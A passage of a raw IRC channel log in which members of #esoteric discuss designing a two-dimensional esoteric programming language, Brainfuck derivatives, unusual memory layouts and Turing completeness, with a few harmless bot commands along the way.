:ket1v!~ket1v@147.69.1.51 QUIT :Ping timeout: 252 seconds < 1395732755 10372 :Slereahphone!~slereahph@193.253.170.175 QUIT :Remote host closed the connection < 1395733591 666872 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net QUIT :Quit: Leaving < 1395734208 380153 :Zom-B|zz!~Zom-B@143.177.41.147 NICK :Zom-B < 1395734265 149521 :Slereahphone!~slereahph@193.253.170.175 JOIN :#esoteric < 1395734387 600517 :Slereahphone!~slereahph@193.253.170.175 QUIT :Remote host closed the connection < 1395735527 480995 :password2!~password@197.78.163.44 JOIN :#esoteric < 1395735537 182367 :Slereahphone!~slereahph@193.253.170.175 JOIN :#esoteric < 1395735679 956011 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :morning < 1395735695 700050 :password2!~password@197.78.163.44 PRIVMSG #esoteric :morning < 1395736152 819936 :MoALTz!~no@user-31-174-194-235.play-internet.pl JOIN :#esoteric < 1395736260 406448 :conehead!~conehead@unaffiliated/conehead QUIT :Quit: Computer has gone to sleep. < 1395736674 379152 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :i'm making an 2-dimensional esolang and I'm still trying to figure out some details < 1395736806 900028 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :like, numbers are encoded in unary, so should i make a special constant for '0' or make everything starting from 1? < 1395736821 28372 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :(memory addresses, etc) < 1395737441 974648 :Slereahphone!~slereahph@193.253.170.175 QUIT :Quit: Colloquy for iPhone - http://colloquy.mobi < 1395737512 349545 :Slereahphone!~slereahph@193.253.170.175 JOIN :#esoteric < 1395737735 449556 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover JOIN :#esoteric < 1395738670 459244 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :or whether to use two instructcions to address from the begin or from the end of the memory, or use one instruction with negative addresses < 1395738723 169798 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :negative addresses can be made by pushing a unary value and then calling the NEG instruction < 1395738796 275922 :ket1v!~ket1v@147.69.1.51 JOIN :#esoteric < 1395739035 841889 :Slereahphone!~slereahph@193.253.170.175 QUIT :Quit: Colloquy for iPhone - http://colloquy.mobi < 1395739070 252992 :ket1v!~ket1v@147.69.1.51 QUIT :Ping timeout: 252 seconds < 1395739078 342106 :password2!~password@197.78.163.44 QUIT :Ping timeout: 240 seconds < 1395739347 205903 :fungot!fis@eos.zem.fi QUIT :Ping timeout: 252 seconds < 1395739386 182924 :fizzie!fis@unaffiliated/fizzie QUIT :Ping timeout: 245 seconds < 1395740663 281206 :fizzie!fis@unaffiliated/fizzie JOIN :#esoteric < 1395741646 239198 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover QUIT :Remote host closed the connection < 1395741741 339513 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover JOIN :#esoteric < 1395742488 347639 :boily!~boily@96.127.201.149 JOIN :#esoteric < 1395745382 211932 :boily!~boily@96.127.201.149 QUIT :Quit: Can one trigger a botloop with a /quit message? < 1395746046 313207 :ket1v!~ket1v@147.69.1.51 JOIN :#esoteric < 1395746318 320912 :ket1v!~ket1v@147.69.1.51 QUIT :Ping timeout: 240 seconds < 1395747461 528592 :fungot!fis@eos.zem.fi JOIN :#esoteric < 1395747555 261839 :Deewiant!~deewiant@deewiant.iki.fi PRIVMSG #esoteric :Zom-B: If subtraction is possible then zero is x-x for any x. < 1395748572 358370 :shikhin!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1395749038 895790 :yorick!~yorick@oftn/member/yorick JOIN :#esoteric < 1395749195 183275 :Slereah!~jackal@244.168.90.79.rev.sfr.net JOIN :#esoteric < 1395749299 447237 :Slereah_!~jackal@244.168.90.79.rev.sfr.net QUIT :Ping timeout: 264 seconds < 1395749619 200645 :Sorella!~queen@oftn/member/Sorella JOIN :#esoteric < 1395749795 240961 :Sellyme!~Sellyme@irc.sellyme.com QUIT :Excess Flood < 1395749826 521201 :Sellyme!~Sellyme@199.127.227.147 JOIN :#esoteric < 1395750588 311546 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net QUIT :Read error: Connection reset by peer < 1395751382 328357 :MindlessDrone!~MindlessD@unaffiliated/mindlessdrone JOIN :#esoteric < 1395752132 109237 :heroux!~heroux@50708181.static.ziggozakelijk.nl JOIN :#esoteric < 1395752208 608639 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1395752332 462153 :tertu!~quassel@174-20-41-3.mpls.qwest.net JOIN :#esoteric < 1395752395 388341 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1395752396 461509 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1395752514 275018 :heroux!~heroux@50708181.static.ziggozakelijk.nl QUIT :Ping timeout: 252 seconds < 1395752569 220730 :heroux!~heroux@5070816D.static.ziggozakelijk.nl JOIN :#esoteric < 1395753302 693650 :ket1v!~ket1v@147.69.1.51 JOIN :#esoteric < 1395753580 195017 :ket1v!~ket1v@147.69.1.51 QUIT :Ping timeout: 265 seconds < 1395753846 555614 :heroux!~heroux@5070816D.static.ziggozakelijk.nl QUIT :Read error: Operation timed out < 1395754091 448854 :heroux!~heroux@50708181.static.ziggozakelijk.nl JOIN :#esoteric < 1395754636 479032 :tertu!~quassel@174-20-41-3.mpls.qwest.net QUIT :Remote host closed the connection < 1395755770 55009 :tertu!~tertu@174-20-41-3.mpls.qwest.net JOIN :#esoteric < 1395759401 521560 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :sorry, was afk at a neighbor, 'fixing' his windows 8 < 1395759429 962856 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :yes, x-x is possible < 1395759493 28662 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :bit it would take 3 instructions < 1395759511 660646 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :push x, push x again, subtract < 1395759536 738446 :nooodl!~nooodl@193.119-242-81.adsl-dyn.isp.belgacom.be JOIN :#esoteric < 1395759674 138971 :oklopol!~oklopol@dyn60-339.yok.fi QUIT :Ping timeout: 246 seconds < 1395760022 394180 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :i just made everything 1-based < 1395760238 703469 :tertu!~tertu@174-20-41-3.mpls.qwest.net QUIT :Disconnected by services < 1395760239 16974 :ter2!~tertu@174-20-41-3.mpls.qwest.net JOIN :#esoteric < 1395760393 474492 :oklopol!~oklopol@dyn60-339.yok.fi JOIN :#esoteric < 1395760552 436487 :ket1v!~ket1v@147.69.1.51 JOIN :#esoteric < 1395760855 418590 :ket1v!~ket1v@147.69.1.51 QUIT :Ping timeout: 264 seconds < 1395761194 373022 :tertu3!~tertu@174-20-41-3.mpls.qwest.net JOIN :#esoteric < 1395761409 948941 :ter2!~tertu@174-20-41-3.mpls.qwest.net QUIT :Ping timeout: 265 seconds < 1395762186 290513 :password2!~password@197.78.163.44 JOIN :#esoteric < 1395763118 871967 :password2!~password@197.78.163.44 PRIVMSG #esoteric :wow , nice i see someone actually edited and correct my bf^ page < 1395763266 248908 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :in thinking of also releasing a shunken-down version of my new esolang with only 7 symbols, equal to the brainfuck <>+-,.? < 1395763290 395977 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :? turns if the value is nonzero, otherwise it goes straight < 1395763358 745209 :password2!~password@197.78.163.44 PRIVMSG #esoteric :why not < 1395763393 545549 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :so (too?) many BF clones already < 1395763450 989681 :password2!~password@197.78.163.44 PRIVMSG #esoteric :is there an upper limit of how many there may be? < 1395763474 997766 :password2!~password@197.78.163.44 PRIVMSG #esoteric :the mathematics of large numbers say n==n+1 < 1395763519 507988 :password2!~password@197.78.163.44 PRIVMSG #esoteric :so thusly you may create another one without it affecting how much there is < 1395763544 167874 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :i'm a computer scientist, not a mathematician < 1395763652 739210 :password2!~password@197.78.163.44 PRIVMSG #esoteric :trust me , I'm an engineer < 1395763750 227775 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :go back to your engines < 1395763757 589006 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric ::] < 1395763802 787739 :password2!~password@197.78.163.44 PRIVMSG #esoteric :err , i dont do engines < 1395763820 261638 :password2!~password@197.78.163.44 PRIVMSG #esoteric :i do electronics! < 1395763851 727577 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :then some WireWorld < 1395763965 547398 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I'd `? brick if there was a working HackEgo. < 1395764016 798437 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :HackEgo is broked? < 1395764024 422818 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Yes. < 1395764026 377945 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :`? brick < 1395764026 767845 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1395764030 783008 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :`echo whatever < 1395764031 149651 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1395764045 70245 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :`run echo "No output." # at least this still works < 1395764045 437744 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1395764092 138285 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :maybe the specification says it should output "No output."for all possible inputs except the input of zero length < 1395764338 303013 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :I'm now pretty convinced that mathematica can do anything. < 1395764349 838666 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :you don't say < 1395764355 900114 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :http://46.4.207.77/sum.gif < 1395764420 547508 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :i invented that algorithm when i was young < 1395764445 848860 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :also recently used it to encode two integers into a single integer < 1395764501 487573 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :with approximate preservation of magnitude, so not just bit fiddling < 1395764895 829266 :Sellyme!~Sellyme@199.127.227.147 QUIT :Excess Flood < 1395764917 36512 :Sellyme!~Sellyme@irc.sellyme.com JOIN :#esoteric < 1395765262 624767 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :i think i've figured out the complete design of my esolang < 1395765340 574814 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :fizzie: is it possible you could rename a wiki page (not 'move', but really rename in the database)? It's not linked from or to anything yet < 1395765515 892494 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :it's like this: (an analogy) < 1395765516 79431 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :it's like i started something that's like cooking recepies < 1395765516 79595 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :then called it chef and made the wiki page < 1395765516 79691 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :then the design went through so many iterations that it ended up like an instruction manual instead < 1395765524 599252 :password2!~password@197.78.163.44 PRIVMSG #esoteric :damn you jafet < 1395765535 358961 :password2!~password@197.78.163.44 PRIVMSG #esoteric :i tried to click the buttons of that gif < 1395765670 829395 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :Zom-B, what's wrong with just moving it < 1395765699 47822 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :i.e. the essence that the name captured is not in the language anymore < 1395765736 240416 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :moving leave residues and fossils < 1395765770 209925 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :just rename it, the page history really doesn't matter that much < 1395765863 598524 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :i still need to think of a good name < 1395766011 699668 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :the new essence is: its 2-dimensional and self-modification is required to make loops < 1395766036 980344 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :(except the BF variant) < 1395766605 729284 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :maybe i should release the BF vaiant on april 1st < 1395766713 929658 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :zzo38: how do you choose names for all your esolangs? < 1395767156 769115 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net JOIN :#esoteric < 1395767739 608147 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :There's a HackEgo command for it, but it's also inoperative. < 1395767760 458997 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(I don't think any languages have yet been named by `words --esolangs, though.) < 1395767763 888209 :password2!~password@197.78.163.44 PRIVMSG #esoteric :whats wrong with the bot? < 1395767812 347649 :ket1v!~ket1v@147.69.1.51 JOIN :#esoteric < 1395767906 910169 :password2!~password@197.78.163.44 PRIVMSG #esoteric :mmm , a 2d bf could be fun < 1395767986 877783 :password2!~password@197.78.163.44 PRIVMSG #esoteric :has it been done? < 1395768087 571899 :ket1v!~ket1v@147.69.1.51 QUIT :Ping timeout: 252 seconds < 1395768094 628232 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :There are several 2D (or more) brainfuck derivatives, at least. < 1395768107 458950 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Not sure if any of them tries to do only the 2D thing and nothing else. < 1395768109 814565 :password2!~password@197.78.163.44 PRIVMSG #esoteric :ah < 1395768122 229997 :password2!~password@197.78.163.44 PRIVMSG #esoteric :i might give it a go < 1395768214 697958 :password2!~password@197.78.163.44 PRIVMSG #esoteric :i sould probably not make it run over irc , atleast not the memory dump parts < 1395768243 99071 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :A quick intersection of Category:Two-dimensional languages and Category:Brainfuck derivatives returns: 2L, Archway, Braincopter, Brainloller, Braktif, Electric BitFunk, Minifuck-2D, Minimal-2D, Pirandello, Puzzlang, Sansism and YABALL. < 1395768301 560674 :password2!~password@197.78.163.44 PRIVMSG #esoteric :ah , thy < 1395768322 569632 :password2!~password@197.78.163.44 PRIVMSG #esoteric :my internet speed is horrendous < 1395768395 669155 :password2!~password@197.78.163.44 PRIVMSG #esoteric :@l's code looks cool < 1395768395 855837 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :Maybe you meant: list let < 1395768400 115307 :password2!~password@197.78.163.44 PRIVMSG #esoteric :*2L < 1395768663 688014 :password2!~password@197.78.163.44 PRIVMSG #esoteric :mmm , i see none of these programs usses 1D instructions over a 2D tape < 1395768823 88049 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :what about brainfuck 2d? < 1395768834 843939 :MoALTz_!~no@user-31-174-194-235.play-internet.pl JOIN :#esoteric < 1395768886 789414 :password2!~password@197.78.163.44 PRIVMSG #esoteric :i'm looking for a 2d brainfuck < 1395768918 568426 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :there is, but i don't like it < 1395768935 291378 :password2!~password@197.78.163.44 PRIVMSG #esoteric :oh < 1395768937 68188 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :basically, the instruction depends on the 8 directions you can take < 1395768946 418942 :password2!~password@197.78.163.44 PRIVMSG #esoteric :is its name brainfuck 2d? < 1395768957 651119 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :e.g. going south-west could be + < 1395768959 888329 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :yeah < 1395768980 110178 :password2!~password@197.78.163.44 PRIVMSG #esoteric :most of em uses an 2d instructional set < 1395769011 602375 :MoALTz!~no@user-31-174-194-235.play-internet.pl QUIT :Ping timeout: 252 seconds < 1395769013 529531 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :2l looks pretty hard for a brainfuck derivate < 1395769032 958118 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Oh, you meant just having a plane instead of tape for the memory pointer, not code? < 1395769040 868407 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :no < 1395769043 769567 :password2!~password@197.78.163.44 PRIVMSG #esoteric :yeah < 1395769048 136729 :password2!~password@197.78.163.44 PRIVMSG #esoteric :thats the words < 1395769050 729571 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :a plane for the code, but still a tape < 1395769069 408309 :password2!~password@197.78.163.44 PRIVMSG #esoteric :nooo < 1395769086 70564 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :password2: In that case, it wouldn't be in Category:Two-dimensional languages, of course. < 1395769096 238616 :password2!~password@197.78.163.44 PRIVMSG #esoteric :oh < 1395769098 232369 :password2!~password@197.78.163.44 PRIVMSG #esoteric :ok < 1395769107 459311 :password2!~password@197.78.163.44 PRIVMSG #esoteric :what would it be then? < 1395769137 517222 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :tbh, i don't see any fun in n-dimensional tapes < 1395769164 58685 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :There probably isn't really a category for that, but there are all kinds of variants that do something to the tape. < 1395769175 925592 :password2!~password@197.78.163.44 PRIVMSG #esoteric :ah < 1395769187 134611 :password2!~password@197.78.163.44 PRIVMSG #esoteric :i geuss i just do my own thing < 1395769218 118803 :password2!~password@197.78.163.44 PRIVMSG #esoteric :all i want to do is replace <> with wasd , i think < 1395769233 665998 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :what fun is this? < 1395769248 259774 :password2!~password@197.78.163.44 PRIVMSG #esoteric :dunno < 1395769260 998227 :password2!~password@197.78.163.44 PRIVMSG #esoteric :its just something i kinda always wanted to try < 1395769275 51932 :password2!~password@197.78.163.44 PRIVMSG #esoteric :the fun is trying to discover what fun it is: < 1395769277 578357 :password2!~password@197.78.163.44 PRIVMSG #esoteric ::P < 1395769444 369963 :password2!~password@197.78.163.44 PRIVMSG #esoteric :essentially w would only translate to >>>>>>>>>>>>> < 1395769477 67416 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :that would not be truly 2d < 1395769519 928069 :password2!~password@197.78.163.44 PRIVMSG #esoteric :why not? < 1395769559 349468 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :because i could reach the cell "above" the current by moving to the right? < 1395769577 906630 :password2!~password@197.78.163.44 PRIVMSG #esoteric :jip < 1395769584 839602 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :why? < 1395769591 29338 :password2!~password@197.78.163.44 PRIVMSG #esoteric :see it as a tape rolled into a cylinder < 1395769609 658776 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :you could just make generic macros, then < 1395769666 768298 :password2!~password@197.78.163.44 PRIVMSG #esoteric :i still want to try it < 1395769754 988828 :password2!~password@197.78.163.44 PRIVMSG #esoteric :or maybe i'll make it like a bunch of parralel tapes < 1395769757 9304 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Clusterfuck is kinda-sorta close, with a fixed-size memory. < 1395769800 319435 :password2!~password@197.78.163.44 PRIVMSG #esoteric :mmm , or radial memory structure < 1395769861 249761 :password2!~password@197.78.163.44 PRIVMSG #esoteric :it is very close < 1395769863 22377 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :password2: just make something like #define w >>>>>>>>>> possible and you can make stuff < 1395769907 679583 :password2!~password@197.78.163.44 PRIVMSG #esoteric :i'll see what i will do when i actually start < 1395770135 64928 :password2!~password@197.78.163.44 PRIVMSG #esoteric :mm i like radial < 1395770149 772097 :password2!~password@197.78.163.44 PRIVMSG #esoteric :the farther you move from center the bigger the tape would be < 1395770190 268775 :maurer!~maurer@MIMUNG.ECE.CMU.EDU PRIVMSG #esoteric :You could make it move at approximately constant angles rather than incrementing by cells < 1395770200 668768 :maurer!~maurer@MIMUNG.ECE.CMU.EDU PRIVMSG #esoteric :So that when your radius was high, you'd sweep 8 bytes in a read/step < 1395770205 475719 :maurer!~maurer@MIMUNG.ECE.CMU.EDU PRIVMSG #esoteric :(for example) < 1395770218 849486 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :i begin liking black < 1395770234 589375 :password2!~password@197.78.163.44 PRIVMSG #esoteric :like the datasize increases? < 1395770402 119991 :password2!~password@197.78.163.44 PRIVMSG #esoteric :or i was think that that the 'width' of the cell is constand such that each ring has ,say, 4 more cells , and changing the angle by a small amount means that the first few cells from the center would still be the same and it diverges a bit as you move outwards < 1395770486 178434 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :you could use a rubik's cube of say 6x6x6 as "take" with rotation instructions < 1395770570 115883 :password2!~password@197.78.163.44 PRIVMSG #esoteric :ah , so the pointer almost tays fixed then and a /tape/ rotates < 1395770604 293409 :password2!~password@197.78.163.44 PRIVMSG #esoteric :*stays < 1395770673 299181 :password2!~password@197.78.163.44 PRIVMSG #esoteric :damn my internet is soo sloow < 1395771881 9932 :password2!~password@197.78.163.44 PRIVMSG #esoteric :this is what i mean http://img.ffffound.com/static-data/assets/6/06f04fcd77d6038a71226f2edba1ea166c299449_m.png < 1395771916 683599 :password2!~password@197.78.163.44 PRIVMSG #esoteric :or close to it < 1395771923 787632 :evalj!~jeval@54029E80.dsl.pool.telekom.hu JOIN :#esoteric < 1395772060 265311 :conehead!~conehead@unaffiliated/conehead JOIN :#esoteric < 1395773457 239358 :ion!ion@heh.fi PRIVMSG #esoteric :http://zachholman.com/posts/only-90s-developers/ < 1395773713 488899 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :i checked all those 2D BF derivatives and none is true tot he original BF essence < 1395773826 624344 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1395773995 421490 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1395773996 318231 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1395775062 605744 :ket1v!~ket1v@147.69.1.51 JOIN :#esoteric < 1395775340 152281 :ket1v!~ket1v@147.69.1.51 QUIT :Ping timeout: 246 seconds < 1395777834 433555 :password2!~password@197.78.163.44 PRIVMSG #esoteric :in what way Zom-B ? < 1395779198 134132 :Sellyme!~Sellyme@irc.sellyme.com QUIT :Excess Flood < 1395779216 358735 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :either instruction bloat (R, L, U, D) or instruction overloading (* does all of <>,.) < 1395779255 761763 :spiette!~spiette@2607:fad8:4:6:f2de:f1ff:fe66:77e5 QUIT :Quit: :qa! < 1395779286 737408 :Sellyme!~Sellyme@199.127.227.147 JOIN :#esoteric < 1395779435 868895 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :Brainloller is close to my idea, but instead of just ? it has [] and two extra rotation operations < 1395779452 414783 :password2!~password@197.78.163.44 PRIVMSG #esoteric :ah < 1395779467 89468 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :Archway is even closer, though not graphical and has two splite /\ instead of just ? < 1395779472 678995 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :plit* < 1395779473 493205 :password2!~password@197.78.163.44 PRIVMSG #esoteric :btw , do you want one whose instruction set is in 2d , or dataset? < 1395779480 299382 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :splits* < 1395779491 948892 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :instruction < 1395779497 939360 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :dataset 2d is a bit pointless < 1395779498 228251 :password2!~password@197.78.163.44 PRIVMSG #esoteric :ah < 1395779516 987340 :password2!~password@197.78.163.44 PRIVMSG #esoteric :is it 'plane' simple < 1395779519 298556 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :you have to 'walk' from a to b anyway wether 1d or 2d < 1395779527 200582 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :you just need extra instructions < 1395779554 279172 :password2!~password@197.78.163.44 PRIVMSG #esoteric :but now you have twice the directions < 1395779581 618965 :password2!~password@197.78.163.44 PRIVMSG #esoteric :thats like saying reality is useless becaus you still have to travel < 1395779627 470214 :password2!~password@197.78.163.44 PRIVMSG #esoteric ::P < 1395779635 878795 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :its not like you have the crossing problem or anything, it's data not logic < 1395779674 256937 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :the average distance between any two cells is lower on average, but thats the only practical difference < 1395779697 452103 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :unless you want to make pictures with the memory map (instead of stdout, which is already possible) < 1395779721 919669 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :maybe a competitive variant might benefit from 2d memory though < 1395779731 349480 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :4player battles < 1395779786 979420 :password2!~password@197.78.163.44 PRIVMSG #esoteric :and you can access data in a different sequence easier < 1395779856 547301 :tromp!~tromp@rtc35-245.rentec.com PRIVMSG #esoteric :if you want exponential memory balls you should change from linear to a tree < 1395779940 270747 :tromp!~tromp@rtc35-245.rentec.com PRIVMSG #esoteric :so add ^ for going up, and <> become left-down and right-down < 1395779970 122057 :tromp!~tromp@rtc35-245.rentec.com PRIVMSG #esoteric :you can reach 2^n cells in n steps... < 1395780065 869196 :password2!~password@197.78.163.44 PRIVMSG #esoteric :err < 1395780083 207582 :password2!~password@197.78.163.44 PRIVMSG #esoteric :triangular memmory map! < 1395780151 836329 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :lol, from linear to quadratic, to exponential. what' < 1395780155 725429 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :lol, from linear to quadratic, to exponential. what's next? < 1395780168 533918 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :it's not exactly triangular, given the interior nodes and all < 1395780182 789348 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :plume! < 1395780231 279649 :password2!~password@197.78.163.44 PRIVMSG #esoteric :normal and tangent coordinates < 1395780247 734928 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :hyperbolic space? < 1395780262 179682 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :need a data structure where you can reach A(n,n) nodes in n steps < 1395780302 649522 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :actually hyperbolic might be suboptimal and mappable to tree < 1395780305 10929 :password2!~password@197.78.163.44 PRIVMSG #esoteric :n-dimensional < 1395780332 382880 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :iknow! try hilbert space < 1395780365 353410 :password2!~password@197.78.163.44 PRIVMSG #esoteric :fft space < 1395780373 899434 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :thats not a space but a transform < 1395780375 533753 :password2!~password@197.78.163.44 PRIVMSG #esoteric :idk hilbert had a space < 1395780381 804339 :password2!~password@197.78.163.44 PRIVMSG #esoteric :true < 1395780386 342231 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :frequency domain is a space < 1395780411 648862 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :would be fun if program memory and data memory were mapped by the fourier transform < 1395780423 670404 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :if you mutate one too much, the other starts to slowly corrupt < 1395780470 979560 :password2!~password@197.78.163.44 PRIVMSG #esoteric :mmm < 1395780509 459350 :password2!~password@197.78.163.44 PRIVMSG #esoteric :i though about a simplistic version where you can only go forward < 1395780528 129044 :MindlessDrone!~MindlessD@unaffiliated/mindlessdrone QUIT :Quit: MindlessDrone < 1395780558 980318 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :as in >_+[],. ? < 1395780582 299981 :password2!~password@197.78.163.44 PRIVMSG #esoteric :something like that < 1395780597 552653 :password2!~password@197.78.163.44 PRIVMSG #esoteric :dunno how it will work < 1395780613 60351 :password2!~password@197.78.163.44 PRIVMSG #esoteric :i was just thinking of random mutations < 1395780673 19253 :password2!~password@197.78.163.44 PRIVMSG #esoteric :and you have to , dunno wrap around to get back where you want to be < 1395780706 191242 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :can't be turing complete < 1395780742 488993 :password2!~password@197.78.163.44 PRIVMSG #esoteric :why not ? < 1395780793 818961 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :wait, maybe it can if memory is circular and values infinitely big < 1395780833 180629 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :but how would you prove it for a circle of N cells with the limit N->1? < 1395780856 248575 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :if that is turing complete then a single memory cell memory would also be < 1395780883 319028 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :i think it boils down to random-access within a number (like bit-fiddling) < 1395780901 69247 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :if you dont have that it's not turing complete < 1395780910 969551 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :Zom-B: afaik, 2 bigint-cells are known to be TC < 1395780918 530425 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :duno about 1 cell < 1395780921 589828 :password2!~password@197.78.163.44 PRIVMSG #esoteric :interesting < 1395780922 340635 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :oh? < 1395780936 790344 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :shall i look 